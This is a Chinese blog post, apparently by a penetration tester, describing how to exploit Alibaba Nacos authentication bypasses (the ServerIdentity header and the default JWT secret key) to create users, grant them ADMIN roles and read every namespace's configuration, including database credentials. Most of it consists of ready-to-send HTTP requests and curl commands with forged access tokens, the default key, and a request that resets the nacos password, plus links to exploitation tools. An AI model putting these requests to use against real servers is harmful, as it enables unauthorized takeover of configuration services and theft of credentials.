nacos认证绕过加用户登录后台读取配置信息

低调求绕过,没事写博客

已于 2024-07-31 18:36:48 修改

阅读量1.4k

点赞数 5

文章标签： web安全

于 2024-02-29 08:10:35 首次发布

本文链接：https://blog.csdn.net/qq_35013491/article/details/136360716

版权

一次检查过程中，发现nacos，不能太信任综合漏洞利用工具。

1. Nacos 未授权访问后台

2. Nacos ServerIdentity 权限绕过

3. Nacos 默认key权限绕过

这个三个比较常利用，语句在最下面。

遇到一个，Nacos ServerIdentity 权限绕过的，加了用户，加用户组，再加入权限，结果发现配置文件还是无法查看。

突破方法：

如果是默认key权限绕过的话，包里面就带上accessToken值不带Serveridentity: security，去加用户，加组，加权限。

如果是ServerIdentity权限绕过，包就别带accessToken值只带Serveridentity: security去加用户，加组，加权限。

如果加上去了还是读不了配置文件的话，先加用户，登录nacos把空间名记录出来，

burp把下面的包改一下空间名，就把一个空间所有配置文件读出来，省得一个个翻。

总结：是什么漏洞加的用户，登录用户进去空间看不了，那么就抓漏洞加用户的包，去加管理员组，加只读权限就ok。加用户进去主要目标是为了抓包。

如果登录进去只能读pulic空间的内容，那么就抓pulic空间名的包，再去抓其他空间名的名称替换pulic的空间名查看内容，看不了的话只要有包，利用漏洞查看就可以。

nacos漏洞利用工具1：

GitHub - charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具，集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用

nacos漏洞利用工具2：漏洞多点

GitHub - HKEcho5213/HKEcho_Nacos

GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=空间名&search=blur&accessToken= HTTP/1.1
Host: 10.48.18.215:82
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Referer: http://10.48.18.215:82/nacos/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Serveridentity: security
Connection: close

1. 加用户
POST /nacos/v1/auth/users?&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q HTTP/1.1
Host: 172.16.38.96:8848
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

username=jiancha03&password=test03!@#$

2. 加用户组
POST /nacos/v1/auth/roles?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q HTTP/1.1
Host: 172.16.38.96:8848
Content-Length: 29
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.16.38.96:8848
Referer: http://172.16.38.96:8848/nacos/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

role=ADMIN&username=jiancha03

3. 加只读权限
/nacos/v1/auth/permissions?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q  HTTP/1.1
Host: 172.16.38.96:8848
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=BD50FD476590604C1BAA6D255564F007
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

role=ADMIN&resource=%3A%2A%3A%2A&action=r

其他一些可能或者重复用得上的nacos post包

1.  nacos  加用户：

POST /nacos/v1/auth/users HTTP/1.1
Host: xxxxxx.com
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflateConnection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

username=test&password=test


GET /nacos/v1/auth/users?pageNo=1&pageSize=1 HTTP/1.1
Host: xxxxxx.com
User-Agent: Nacos-Server
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflateConnection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0




2. 查看用户
http://xxxxxx.com/nacos/v1/auth/users?pageNo=1&pageSize=999





漏洞5：nacos默认key权限绕过
Nacos 使用了固定的secret.key默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞 Alibaba Nacos <= 2.2.0
http://172.17.254.75:8848/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9

POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ HTTP/1.1
Host: 172.17.254.75:8848
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

username=jianchesafe2&password=jianchesafe.asdd



漏洞6：Nacos ServerIdentity 权限绕过
Nacos 平台在 Header 中添加 serverIdentity: security 能直接绕过身份验证查看用户列表
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=  HTTP/1.1
Host: 172.17.254.75:8848
Serveridentity: security
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

POST /nacos/v1/auth/users HTTP/1.1
Host: 172.17.254.75:8848
Serveridentity: security
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

username=jianchesafe&password=jianchesafe.asdd




GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=namespace-zkky-xt&search=accurate&message=true&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&username=jianchesafe2 HTTP/1.1
Host: 172.17.254.75:8848
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqaWFuY2hlc2FmZTIiLCJleHAiOjE2OTQxNzMyNDB9.rTS4TSD87cAkwK5sX1lj-iaqXGdBVfT9Up6hR48a4nM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Referer: http://172.17.254.75:8848/nacos/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=B4BCFB415B653B5CC5647F40F8C8D102
Connection: close


越权查看数据库配置：
GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=namespace-zkky-xt&search=accurate&message=true&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&username=jianchesafe2 HTTP/1.1
Host: 172.17.254.75:8848
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqaWFuY2hlc2FmZTIiLCJleHAiOjE2OTQxNzMyNDB9.rTS4TSD87cAkwK5sX1lj-iaqXGdBVfT9Up6hR48a4nM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Referer: http://172.17.254.75:8848/nacos/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=B4BCFB415B653B5CC5647F40F8C8D102
Connection: close

泄露数据库配置信息



在jwt.io在线网站中，输入默认key：SecretKey012345678901234567890123456789012345678901234567890123456789，然后修改payload的值。exp参数的值是unix时间戳，这个时间戳代表着accessToken的过期时间，所以要将时间戳往后面设。


利用一：修改nacos用户密码，将密码修改为123456
curl -X PUT "http://192.168.80.131:8848/nacos/v1/auth/users?username=nacos&newPassword=123456&pageNo=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MzA1OTQyMX0.rh3mpIO1GQ8liXkza9ZRoi2u21S1uhKVFioxAwkIrFk"



利用二：新建test用户
curl "http://192.168.80.131:8848/nacos/v1/auth/users"  -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MzA1OTQyMX0.rh3mpIO1GQ8liXkza9ZRoi2u21S1uhKVFioxAwkIrFk" -d "username=test1&password=test